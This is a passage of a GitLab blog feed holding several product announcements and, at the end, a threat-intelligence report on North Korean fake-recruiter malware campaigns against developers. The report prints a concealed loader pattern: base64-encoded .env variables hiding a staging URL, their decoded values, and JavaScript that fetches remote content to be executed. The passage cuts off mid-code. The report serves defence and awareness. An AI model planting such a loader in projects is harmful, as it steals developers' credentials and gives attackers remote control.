<strong>Status:</strong> Beta, API-ready in 18.9</p><p>Most organizations pulling container images into CI/CD pipelines rely on multiple registries: Docker Hub, Harbor, Quay, and internal registries, to name a few. Managing authentication, availability, and caching across all of them is operational overhead that slows pipelines down and introduces fragility.</p><p>The Container Virtual Registry lets you create a single GitLab endpoint that pulls from multiple upstream container sources with built-in caching.</p><p>Instead of configuring credentials and availability for each registry individually in your pipeline configuration, you can:</p><ul><li>Point your pipelines at one GitLab virtual registry endpoint</li><li>Configure multiple upstream registries (Docker Hub, Harbor, Quay, and others using long-lived token authentication)</li><li>Let GitLab resolve image pulls automatically, with pull-through caching to reduce bandwidth costs and improve reliability</li></ul><p>For teams evaluating GitLab as a container registry replacement, this closes a critical capability gap. For teams already managing multi-registry container workflows, it centralizes image management into GitLab and cuts down on repeated pulls.</p><p><strong>What the beta supports today</strong></p><ul><li>Upstream registries using long-lived token authentication: Docker Hub, Harbor, Quay, and other compatible registries</li><li>Pull-through caching so commonly used images are served from GitLab after the first pull</li><li>API-first configuration, with UI management in progress++</li></ul><p>Cloud provider registries requiring IAM authentication (such as Amazon Elastic Container Registry, Google Artifact Registry, and Azure Container Registry) are being considered for future iterations.</p><p><strong>Test it today</strong></p><ul><li>The Container Virtual Registry is API-ready in 18.9.</li><li>SaaS (GitLab.com): Request access through your CSM or by commenting on the feedback issue below to have the feature flag enabled for your group.</li><li>Self-managed: Enable the feature flag and configure the virtual registry using the API.</li></ul><p><strong>Documentation</strong></p><ul><li><a href="https://docs.gitlab.com/api/container_virtual_registries/" rel="">Container Virtual Registry API</a></li><li><a href="https://docs.gitlab.com/user/packages/virtual_registry/container/#pull-container-images-from-the-virtual-registry" rel="">Pull container images from the virtual registry</a></li></ul><p>Watch this walkthrough of the Container Virtual Registry Beta:</p><iframe src="https://player.vimeo.com/video/1167512082?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="20260223_Container Virtual Registry Beta_V1"></iframe><script src="https://player.vimeo.com/api/player.js"></script><p><br /><br /></p><p><strong>Share your feedback:</strong></p><ul><li><a href="https://gitlab.com/gitlab-org/gitlab/-/issues/589630" rel="">Container virtual registry feedback issue</a></li></ul><h2 id="help-us-build-what-matters">Help us build what matters</h2><p>Everyone in the GitLab community is a contributor. We built these betas based on community requests.</p><ul><li><strong>CI/CD Job Performance Metrics</strong> came from teams who had no easy way to see when build times started trending in the wrong direction, or which jobs were hurting pipeline reliability.</li><li><strong>Container Virtual Registry</strong> came from enterprise customers managing multiple registries and looking to reduce tool sprawl and bandwidth costs while evaluating GitLab as a central registry.</li></ul><p>Your feedback shapes what we create next. Try one or both of these betas, and share your experience in the linked feedback issues.</p><p>This is the first in a series of Core DevOps betas we plan to highlight. More are coming throughout the year, and we hope you’ll help us make them as useful as possible.</p>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-02-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GPG key used to sign GitLab package repositories' metadata has been extended]]></title>
        <id>https://about.gitlab.com/blog/gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended/</id>
        <link href="https://about.gitlab.com/blog/gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended/"/>
        <updated>2026-02-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab uses GPG key to sign the metadata of the various apt and yum repositories that are used to distribute official Linux packages and GitLab Runner packages, to ensure integrity of packages, in addition to the packages themselves being signed by a separate key.</p><p>The current key used for the metadata signing, with the fingerprint <code className="">F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F</code>, is set to expire on February 27, 2026, and has been extended to expire on Feb 6, 2028.</p><h2 id="why-are-we-extending-the-deadline">Why are we extending the deadline?</h2><p>The repository metadata signing key&#39;s expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key&#39;s expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key.</p><h2 id="what-do-i-need-to-do">What do I need to do?</h2><p>If you have already configured GitLab repositories on your machine before February 27, 2026, please check out the official documentation on <a href="https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-key" rel="">how to fetch and add the new key</a> to your machine.</p><p>If you are a new user, there is nothing specific for you to do other than follow the <a href="https://about.gitlab.com/install/" rel="">GitLab installation page</a> or the <a href="https://docs.gitlab.com/runner/install/linux-repository/" rel="">GitLab Runner installation documentation</a>.</p><p>More information concerning <a href="https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-key" rel="">verification of the repository metadata signatures</a> is available in the Linux package documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for <a href="mailto:support@gitlab.com">support@gitlab.com</a> or using the key ID of <code className="">F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F</code>.</p><p>Alternatively, you could download it directly from <code className="">packages.gitlab.com</code> using the URL: <code className="">https://packages.gitlab.com/gpg.key</code>.</p><h2 id="what-if-i-need-additional-help">What if I need additional help?</h2><p>Please open an issue in the <a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&amp;issuable_template=Bug" rel=""><code className="">omnibus-gitlab</code> issue tracker</a>.</p>]]></content>
        <author>
            <name>Denis Afonso</name>
            <uri>https://about.gitlab.com/blog/authors/denis-afonso/</uri>
        </author>
        <published>2026-02-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Agentic SDLC: GitLab and TCS deliver Intelligent Orchestration across the enterprise]]></title>
        <id>https://about.gitlab.com/blog/agentic-sdlc-gitlab-and-tcs-deliver-intelligent-orchestration-across-the-enterprise/</id>
        <link href="https://about.gitlab.com/blog/agentic-sdlc-gitlab-and-tcs-deliver-intelligent-orchestration-across-the-enterprise/"/>
        <updated>2026-02-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab and TCS are announcing their partnership to help enterprises accelerate innovation velocity at scale.
Enterprises need rapid, secure software delivery but often struggle with fragmented toolchains, inconsistent security controls, and manual compliance processes which slows software delivery. AI-generated code and AI-powered threats add new complexity.
GitLab and TCS Center of Excellence (CoE) accelerators work together to reduce migration friction, codify guardrails, and industrialize DevSecOps adoption at scale. Together, they enable a path from standardization to Intelligent Orchestration with necessary auditable guardrails during development.</p><h2 id="supporting-the-future-ready-enterprise">Supporting the future-ready enterprise</h2><p>Customers want a DevSecOps platform built to last without forcing large-scale re-engineering every few years. GitLab&#39;s unified data model connects the entire software lifecycle into a single source of context, enabling enterprises to standardize pipelines, controls, and metrics at scale. GitLab&#39;s continuous innovation in AI-driven capabilities reinforces its long-term relevance as enterprises adopt agentic workflows to accelerate time to value.</p><p>GitLab and TCS synchronize multi-agent orchestration, dynamic planning, confidence-scored decisioning, and continuous learning cycles to automate coding, reviews, testing, security, and CI/CD workflows.</p><p><a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> provides Intelligent Orchestration across the software lifecycle through context-aware autonomous actions, multi-step reasoning, code modernization, security scanning, and flow automation, streamlining and accelerating software development. This aligns naturally with TCS’ structured agent hierarchy for IT Operations, enabling dynamic reasoning, planning, and domain agents to invoke GitLab Duo Platform’s specialized agents (e.g., Planner, Security Analyst, Code Review) through MCP-driven integrations and rich project context flows, governed by GitLab’s AI-native DevSecOps controls.</p><h2 id="scaling-devsecops-with-platform-engineering">Scaling DevSecOps with platform engineering</h2><p>Platform engineering shifts the focus from managing individual pipelines and toolchains to building an Internal Developer Platform (IDP) that standardizes how software gets built, secured, tested, and deployed across the organization.</p><p>Enterprises scale by productizing the developer experience through platform engineering, operating IDPs with self-service golden paths. Security, compliance, and governance are embedded by default through policy-as-code, standardizing Day 2 operations. GitLab becomes the IDP control plane, and TCS industrializes the design and rolls out self service as a wrapper on the control plane to deliver a strong developer experience. As solution architects, TCS builds self-service paths while GitLab Duo Agent Platform adds agentic AI to automate development across the SDLC.</p><table><thead><tr><th>Category</th><th>Details</th></tr></thead><tbody><tr><td>Experience Layer (IDP)</td><td>• Developer self-service scaffolding <br /> • One-click environment/runners/scans <br /> • Standardized onboarding</td></tr><tr><td>Platform Control Plane (GitLab)</td><td>• Merge requests as control point <br /> • Integrated CI/CD <br /> • Security <br /> • Software bills of materials (SBOMs) <br /> • Approvals <br /> • Telemetry</td></tr><tr><td>Guardrails and Governance</td><td>• Policy-based governance <br /> • Compliance as code <br /> • Risk-tiered golden paths <br /> • Mandatory controls without manual gates</td></tr><tr><td>Infrastructure and Runtime</td><td>• Cloud landing zones <br /> • Kubernetes/VM runtimes <br /> • GitOps-driven desired-state enforcement</td></tr><tr><td>Golden Paths</td><td>• Ensure products are continuously improved and safely extensible <br /> • Eliminating pipeline drift while preserving autonomy</td></tr><tr><td>Day 2 Operations</td><td>• Automated rollback <br /> • Runtime SLOs tied to release policies <br /> • Vulnerability SLAs <br /> • Cost visibility <br /> • Operational excellence built into platform</td></tr></tbody></table><h2 id="from-devsecops-to-intelligent-orchestration">From DevSecOps to Intelligent Orchestration</h2><p>A unified DevSecOps platform provides enterprises with a foundation, but as AI agents become active participants in the software lifecycle, the platform must do more than manage code and pipelines. It needs to orchestrate the work of humans and AI agents together, with full lifecycle context and guardrails built into the flow. That&#39;s the shift from DevSecOps to Intelligent Orchestration that GitLab Duo Agent Platform enables, improving the quality of software delivery over time.</p><h3 id="gitlab-duo-agent-platform">GitLab Duo Agent Platform</h3><p>GitLab Duo Agent Platform introduces AI agents into the software development lifecycle that work alongside developers as collaborators. Multiple AI agents handle tasks in parallel — from code generation and testing to CI/CD fixes — reducing bottlenecks and speeding up releases. Developers steer and guide these agents using defined rules, maintaining control while offloading repetitive work. This agent orchestration tackles complex workflows (such as auto-fixing broken pipelines) and frees teams to focus on higher value work.</p><p>AI agents work within GitLab&#39;s unified data model, creating merge requests, improving code, and supporting compliance, which boosts productivity and velocity. Because every agent action has full project context, is auditable, and is policy-aligned, enterprises can scale AI across thousands of engineers with confidence, maintaining security and regulatory compliance across all automated workflows. This reduces toil for application engineers, DevSecOps engineers, scrum masters, and product managers.</p><h2 id="understanding-the-reference-architecture">Understanding the reference architecture</h2><p><img alt="GitLab TCS reference architecture" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1771866349/ynfgc7ugqjasyj1uhew0.png" /></p><h2 id="gitlab-tcs-a-powerful-combination">GitLab + TCS: A powerful combination</h2><p>GitLab provides an Intelligent Orchestration platform for DevSecOps where software teams and AI agents work together across the entire development lifecycle. TCS provides industrialized adoption engines, proven reference architectures, large-scale migration factories, enterprise-grade security baselines, enterprise AI capability, AI Trust &amp; Risk management tools and frameworks, and a product mindset for platform operations.</p><p>What truly differentiates this combination is TCS&#39; contextual knowledge gained from decades of working with customers across industries, geographies, and regulatory landscapes. This experience enables TCS to contextualize GitLab capabilities to address enterprise constraints like legacy estates, compliance requirements, operating models, and scale challenges — rather than implementing tooling in isolation. Together, GitLab and TCS enable fast, assured, enterprise-scale delivery across clouds with built-in compliance.</p><blockquote><p>To learn more about GitLab + TCS, email <a href="mailto:ecosystem@gitlab.com">ecosystem@gitlab.com</a>.</p></blockquote>]]></content>
        <published>2026-02-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab extends Omnibus package signing key expiration to 2028]]></title>
        <id>https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2028/</id>
        <link href="https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2028/"/>
        <updated>2026-02-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab uses a GNU Privacy Guard (GPG) key to sign all Omnibus packages created within the CI pipelines to ensure that the packages have not been tampered with. This key is separate from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. The Omnibus package signing key, which was set to expire on Feb. 14, 2026, has been extended to expire on Feb, 16, 2028.</p><h2 id="why-are-we-extending-the-deadline">Why are we extending the deadline?</h2><p>The package signing key&#39;s expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key&#39;s expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key</p><h2 id="what-do-i-need-to-do">What do I need to do?</h2><p>The only action that needs to be taken is to update your copy of the package signing key <em>if</em> you validate the signatures on the Omnibus packages that GitLab distributes.</p><p>The package signing key is not the key that signs the repository metadata used by the OS package managers like <code className="">apt</code> or <code className="">yum</code>. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.</p><p>More information concerning <a href="https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures" rel="">verification of the package signatures</a> is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for <code className="">support@gitlab.com</code> or using the key ID of <code className="">98BF DB87 FCF1 0076 416C  1E0B AD99 7ACC 82DD 593D</code>.</p><p>Alternatively, you could download it directly from packages.gitlab.com using the URL: <code className="">https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-CB947AD886C8E8FD.pub.gpg</code>.</p><h2 id="what-if-i-need-additional-help">What if I need additional help?</h2><p>Please open an issue in the <a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&amp;issuable_template=Bug" rel="">omnibus-gitlab issue tracker</a>.</p>]]></content>
        <author>
            <name>Pratik Singh</name>
            <uri>https://about.gitlab.com/blog/authors/pratik-singh/</uri>
        </author>
        <published>2026-02-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Track vulnerability remediation with the updated GitLab Security Dashboard]]></title>
        <id>https://about.gitlab.com/blog/track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard/</id>
        <link href="https://about.gitlab.com/blog/track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Security teams and developers face the same frustration: thousands of vulnerabilities demanding attention, without the insights to help them prioritize remediation. Where is risk concentrated and how fast is it being remediated? Where will remediation efforts have the greatest impact? The updated GitLab Security Dashboard helps answer these questions with trend tracking, vulnerability age distribution, and risk scoring by project.</p><h2 id="measure-remediation-not-just-detection">Measure remediation, not just detection</h2><p>Application security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.</p><p><a href="https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards" rel="">GitLab Security Dashboard</a> consolidates all vulnerability data into one view that spans projects, groups, and business units.</p><p>In 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the <a href="https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/" rel="">18.9 release</a>, customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.</p><p>Risk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others.</p><p>GitLab Security Dashboard helps application security and development teams:</p><ul><li><strong>Track program effectiveness</strong>: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.</li><li><strong>Focus on targeted remediation</strong>: Fix vulnerabilities that represent the greater risk to production systems.</li><li><strong>Identify areas for remediation training</strong>: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training.</li><li><strong>Reduce manual reporting</strong>: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.</li></ul><p>This update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.</p><h2 id="see-security-dashboard-in-action">See Security Dashboard in action</h2><p>An application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.</p><p>At the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.</p><iframe src="https://player.vimeo.com/video/1166108924?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Security-Dashboard-Demo-Final"></iframe><script src="https://player.vimeo.com/api/player.js"></script><blockquote><p>For more details on how to get started with GitLab Security Dashboard today, check out our <a href="https://docs.gitlab.com/user/application_security/security_dashboard/" rel="">documentation</a>.</p></blockquote>]]></content>
        <author>
            <name>Alisa Ho</name>
            <uri>https://about.gitlab.com/blog/authors/alisa-ho/</uri>
        </author>
        <author>
            <name>Mike Clausen</name>
            <uri>https://about.gitlab.com/blog/authors/mike-clausen/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Threat Intelligence Team reveals North Korean tradecraft]]></title>
        <id>https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/</id>
        <link href="https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.
Publishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.</p><p><strong>There is no action needed by GitLab customers and GitLab remains secure.</strong></p><h2 id="executive-summary">Executive summary</h2><h3 id="what-is-contagious-interview">What is Contagious Interview?</h3><p>Since at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.</p><h3 id="about-the-report">About the report</h3><p>In 2025, GitLab identified and banned accounts created by North Korean threat actors used for <a href="https://attack.mitre.org/groups/G1052/" rel="">Contagious Interview</a>. GitLab’s visibility into these actors&#39; code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through <a href="https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses" rel="">IT worker activity</a>.</p><p>Exposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.</p><p>This report contains a <a href="#year-in-review">Year in Review</a> summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:</p><ul><li><a href="#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records">Financial records</a> maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025</li><li><a href="#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale">A synthetic identity creation pipeline</a> used to create at least 135 personas, automated to generate professional connections and contact leads at scale</li><li><a href="#case-study-3-north-korean-operator-controlling-21-personas">A North Korean IT worker controlling 21 unique personas</a> and adding their own image to stolen U.S. identity documents</li><li><a href="#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow">A North Korean IT worker recruiting facilitators</a> and working for U.S. organizations while operating from Moscow, Russia</li></ul><p>We’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the <a href="#appendix-2-indicators-of-compromise">Appendix</a>.</p><h2 id="year-in-review">Year in Review</h2><p>North Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.</p><h3 id="key-findings">Key findings</h3><p>Here are our key findings, including 2025 campaign trends and malicious code project features.</p><h4 id="_2025-campaign-trends">2025 campaign trends</h4><p>In 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant <a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/" rel="">we identified</a> in September.</p><p>Threat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.</p><p>In more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.</p><p><img alt="Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png" title="Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025." /></p><p>We observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.</p><p><img alt="Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png" title="Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025." /></p><h4 id="malicious-code-project-features">Malicious code project features</h4><p>The most common execution pattern we observed in 2025 had the following features:</p><ul><li>A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.</li><li>A trigger function intended to source remote content and raise an error.</li><li>A global invocation of the trigger function in a file executed as soon as the project is run.</li><li>A custom error handler intended to execute remote content from the trigger function by using <code className="">Function.constructor</code> to load a string as executable code.</li></ul><p><strong>Example excerpt from a .env file containing malicious encoded variables:</strong></p><pre className="language-shell shiki shiki-themes github-light" code="# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0
" language="shell" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6A737D"># Runtime Configuration
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">eC1zZWNyZXQtaGVhZGVy
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">c2VjcmV0
</span></span></code></pre><p><strong>Decoded values from the .env file (defanged):</strong></p><pre className="language-shell shiki shiki-themes github-light" code="# Runtime Configuration
RUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
RUNTIME_CONFIG_ACCESS_KEY=x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE=secret
" language="shell" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6A737D"># Runtime Configuration
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">hxxps[:</span><span style="--shiki-default:#24292E">]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">x-secret-header
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">secret
</span></span></code></pre><p><strong>Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:</strong></p><pre className="language-javascript shiki shiki-themes github-light" code="const errorTimeHandler = async () =&gt; {
  try {
    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
    try {
      globalConfig = (await axios.get(`${src}`, {
        headers: {
          [k]: v
        }
      }));
      log(&#39;Runtime config loaded successfully.&#39;);
    } catch (error) {
      errorHandler(error.response?.data || error.message);
    }
  } catch (err) {
    await errorHandler(err.response?.data || err.message || err);
  }
};
" language="javascript" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#D73A49">const</span><span style="--shiki-default:#6F42C1"> errorTimeHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#D73A49"> async</span><span style="--shiki-default:#24292E"> () </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="2"><span style="--shiki-default:#D73A49">  try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="3"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> src</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="4"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> k</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="5"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> v</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="6"><span style="--shiki-default:#D73A49">    try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">      globalConfig </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#D73A49">await</span><span style="--shiki-default:#24292E"> axios.</span><span style="--shiki-default:#6F42C1">get</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">`${</span><span style="--shiki-default:#24292E">src</span><span style="--shiki-default:#032F62">}`</span><span style="--shiki-default:#24292E">, {
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">        headers: {
</span></span><span class="line" line="9"><span style="--shiki-default:#24292E">          [k]: v
</span></span><span class="line" line="10"><span style="--shiki-default:#24292E">        }
</span></span><span class="line" line="11"><span style="--shiki-default:#24292E">      }));
</span></span><span class="line" line="12"><span style="--shiki-default:#6F42C1">      log</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Runtime config loaded successfully.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">    } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (error) {
</span></span><span class="line" line="14"><span style="--shiki-default:#6F42C1">      errorHandler</span><span style="--shiki-default:#24292E">(error.response?.data </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> error.message);
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">    }
